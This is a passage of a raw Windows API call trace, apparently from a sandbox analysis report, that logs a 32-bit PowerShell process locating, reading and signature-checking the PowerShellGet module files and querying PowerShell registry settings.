out: lpBuffer=0x26a7e68*, lpNumberOfBytesRead=0x5a8e92c*=0xde, lpOverlapped=0x0) returned 1 [0170.698] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e900*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e900*=0) returned 0x10de [0170.698] ReadFile (in: hFile=0x3fc, lpBuffer=0x26a7e68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e92c, lpOverlapped=0x0 | out: lpBuffer=0x26a7e68*, lpNumberOfBytesRead=0x5a8e92c*=0x0, lpOverlapped=0x0) returned 1 [0170.699] CloseHandle (hObject=0x3fc) returned 1 [0170.707] CoCreateGuid (in: pguid=0x5a8e96c | out: pguid=0x5a8e96c*(Data1=0x8c962d54, Data2=0x3f29, Data3=0x40c0, Data4=([0]=0x8b, [1]=0xbd, [2]=0xcc, [3]=0x8e, [4]=0x82, [5]=0xb1, [6]=0x59, [7]=0xbc))) returned 0x0 [0170.811] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3fc [0170.811] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x404 [0170.811] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x408 [0170.811] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x40c [0170.812] SetEvent (hEvent=0x40c) returned 1 [0170.812] SetEvent (hEvent=0x3fc) returned 1 [0170.812] SetEvent (hEvent=0x404) returned 1 [0170.812] SetEvent (hEvent=0x408) returned 1 [0170.813] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x410 [0170.813] SetThreadUILanguage (LangId=0x0) returned 0x409 [0171.072] EtwEventActivityIdControl () returned 0x0 [0171.072] EtwEventActivityIdControl () returned 0x0 [0171.072] EtwEventActivityIdControl () returned 0x0 [0171.154] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0171.180] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0171.180] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0171.180] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a8e2a4, Length=0x20, ResultLength=0x5a8e314 | out: SystemInformation=0x5a8e2a4, ResultLength=0x5a8e314*=0x0) returned 0xc0000003 [0171.180] GetSystemInfo (in: lpSystemInfo=0x5a8e320 | out: lpSystemInfo=0x5a8e320*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0171.181] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8e2b0 | out: phkResult=0x5a8e2b0*=0x414) returned 0x0 [0171.181] RegQueryValueExW (in: hKey=0x414, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a8e2cc, lpData=0x0, lpcbData=0x5a8e2c8*=0x0 | out: lpType=0x5a8e2cc*=0x0, lpData=0x0, lpcbData=0x5a8e2c8*=0x0) returned 0x2 [0171.181] RegCloseKey (hKey=0x414) returned 0x0 [0171.192] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0171.192] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0171.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e228) returned 1 [0171.193] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x414 [0171.193] GetFileType (hFile=0x414) returned 0x1 [0171.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e224) returned 1 [0171.193] GetFileType (hFile=0x414) returned 0x1 [0171.194] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e264*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e264*=0) returned 0x0 [0171.194] ReadFile (in: hFile=0x414, lpBuffer=0x26cb480, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e290, lpOverlapped=0x0 | out: lpBuffer=0x26cb480*, lpNumberOfBytesRead=0x5a8e290*=0x1000, lpOverlapped=0x0) returned 1 [0171.195] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e264*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e264*=0) returned 0x1000 [0171.195] ReadFile (in: hFile=0x414, lpBuffer=0x26cb480, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e290, lpOverlapped=0x0 | out: lpBuffer=0x26cb480*, lpNumberOfBytesRead=0x5a8e290*=0xde, lpOverlapped=0x0) returned 1 [0171.195] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e264*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e264*=0) returned 0x10de [0171.195] ReadFile (in: hFile=0x414, lpBuffer=0x26cb480, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e290, lpOverlapped=0x0 | out: lpBuffer=0x26cb480*, lpNumberOfBytesRead=0x5a8e290*=0x0, lpOverlapped=0x0) returned 1 [0171.195] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a8e1f8, Length=0x20, ResultLength=0x5a8e268 | out: SystemInformation=0x5a8e1f8, ResultLength=0x5a8e268*=0x0) returned 0xc0000003 [0171.196] GetSystemInfo (in: lpSystemInfo=0x5a8e274 | out: lpSystemInfo=0x5a8e274*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0171.197] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8e204 | out: phkResult=0x5a8e204*=0x418) returned 0x0 [0171.197] RegQueryValueExW (in: hKey=0x418, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a8e220, lpData=0x0, lpcbData=0x5a8e21c*=0x0 | out: lpType=0x5a8e220*=0x0, lpData=0x0, lpcbData=0x5a8e21c*=0x0) returned 0x2 [0171.197] RegCloseKey (hKey=0x418) returned 0x0 [0171.197] CloseHandle (hObject=0x414) returned 1 [0171.201] CoCreateGuid (in: pguid=0x5a8e2f4 | out: pguid=0x5a8e2f4*(Data1=0xc1e66a1a, Data2=0xbc2e, Data3=0x4f66, Data4=([0]=0x9e, [1]=0xf0, [2]=0x92, [3]=0x37, [4]=0x60, [5]=0xc9, [6]=0xa2, [7]=0xe3))) returned 0x0 [0171.207] QueryPerformanceCounter (in: lpPerformanceCount=0x5a8e054 | out: lpPerformanceCount=0x5a8e054*=1260223200392) returned 1 [0171.209] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0171.209] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0171.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8dd40) returned 1 [0171.209] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a8e004 | out: lpFileInformation=0x5a8e004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0171.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8dd3c) returned 1 [0171.299] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0171.299] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0171.300] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0171.300] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0171.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8dcd4) returned 1 [0171.300] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a8df98 | out: lpFileInformation=0x5a8df98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0171.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8dcd0) returned 1 [0171.300] CoTaskMemAlloc (cb=0x10) returned 0x5b36a8 [0171.300] CoTaskMemAlloc (cb=0x10) returned 0x5b36f0 [0171.300] CoTaskMemAlloc (cb=0xb4) returned 0x58bae0 [0171.300] CoTaskMemAlloc (cb=0x30) returned 0x57f640 [0171.301] WinVerifyTrust () returned 0x800b0100 [0171.460] CoTaskMemFree (pv=0x5b36a8) [0171.460] CoTaskMemFree (pv=0x57f640) [0171.461] CryptCATHandleFromStore () returned 0x54b090 [0171.461] WTHelperGetProvSignerFromChain () returned 0x0 [0171.461] CoTaskMemAlloc (cb=0x10) returned 0x5b36a8 [0171.461] CoTaskMemAlloc (cb=0x30) returned 0x57f640 [0171.461] WinVerifyTrust () returned 0x0 [0171.461] CoTaskMemFree (pv=0x57f640) [0171.461] CoTaskMemFree (pv=0x5b36a8) [0171.461] CoTaskMemFree (pv=0x58bae0) [0171.461] CoTaskMemFree (pv=0x5b36f0) [0171.755] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en-us\\powershellget.psd1")) returned 0xffffffff [0171.756] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en\\powershellget.psd1")) returned 0xffffffff [0171.812] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0171.820] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0171.826] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0171.826] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0171.826] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0171.826] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", nBufferLength=0x47, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", lpFilePart=0x0) returned 0x46 [0172.091] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8d990 | out: phkResult=0x5a8d990*=0x414) returned 0x0 [0172.092] RegQueryValueExW (in: hKey=0x414, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8d9b0, lpData=0x0, lpcbData=0x5a8d9ac*=0x0 | out: lpType=0x5a8d9b0*=0x1, lpData=0x0, lpcbData=0x5a8d9ac*=0x56) returned 0x0 [0172.092] RegQueryValueExW (in: hKey=0x414, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8d9b0, lpData=0x26f7280, lpcbData=0x5a8d9ac*=0x56 | out: lpType=0x5a8d9b0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a8d9ac*=0x56) returned 0x0 [0172.092] RegCloseKey (hKey=0x414) returned 0x0 [0172.098] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0172.106] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0172.109] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0172.110] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8d990 | out: phkResult=0x5a8d990*=0x414) returned 0x0 [0172.110] RegQueryValueExW (in: hKey=0x414, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8d9b0, lpData=0x0, lpcbData=0x5a8d9ac*=0x0 | out: lpType=0x5a8d9b0*=0x1, lpData=0x0, lpcbData=0x5a8d9ac*=0x56) returned 0x0 [0172.110] RegQueryValueExW (in: hKey=0x414, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a8d9b0, lpData=0x2704a60, lpcbData=0x5a8d9ac*=0x56 | out: lpType=0x5a8d9b0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a8d9ac*=0x56) returned 0x0 [0172.110] RegCloseKey (hKey=0x414) returned 0x0 [0172.194] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0172.200] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0172.207] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0172.212] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0172.220] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Resource.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.resource.psd1")) returned 0x20 [0172.228] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Resource.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.resource.psd1")) returned 0x20 [0172.238] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0172.238] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", nBufferLength=0x5b, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x5a [0172.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8d790) returned 1 [0172.238] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x5a8da54 | out: lpFileInformation=0x5a8da54*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0172.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8d78c) returned 1 [0172.334] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0172.425] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0172.425] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0172.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8d2b8) returned 1 [0172.425] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), fInfoLevelId=0x0, lpFileInformation=0x2733bbc | out: lpFileInformation=0x2733bbc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499c9860, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8caa9)) returned 1 [0172.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8d2b4) returned 1 [0172.426] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0172.426] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0172.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8d45c) returned 1 [0172.426] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3dc [0172.427] GetFileType (hFile=0x3dc) returned 0x1 [0172.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8d458) returned 1 [0172.427] GetFileType (hFile=0x3dc) returned 0x1 [0172.427] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x0 [0172.427] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.432] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x1000 [0172.432] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.434] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x2000 [0172.434] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.434] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x3000 [0172.434] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.435] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x4000 [0172.436] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.436] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x5000 [0172.436] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.436] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x6000 [0172.437] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, 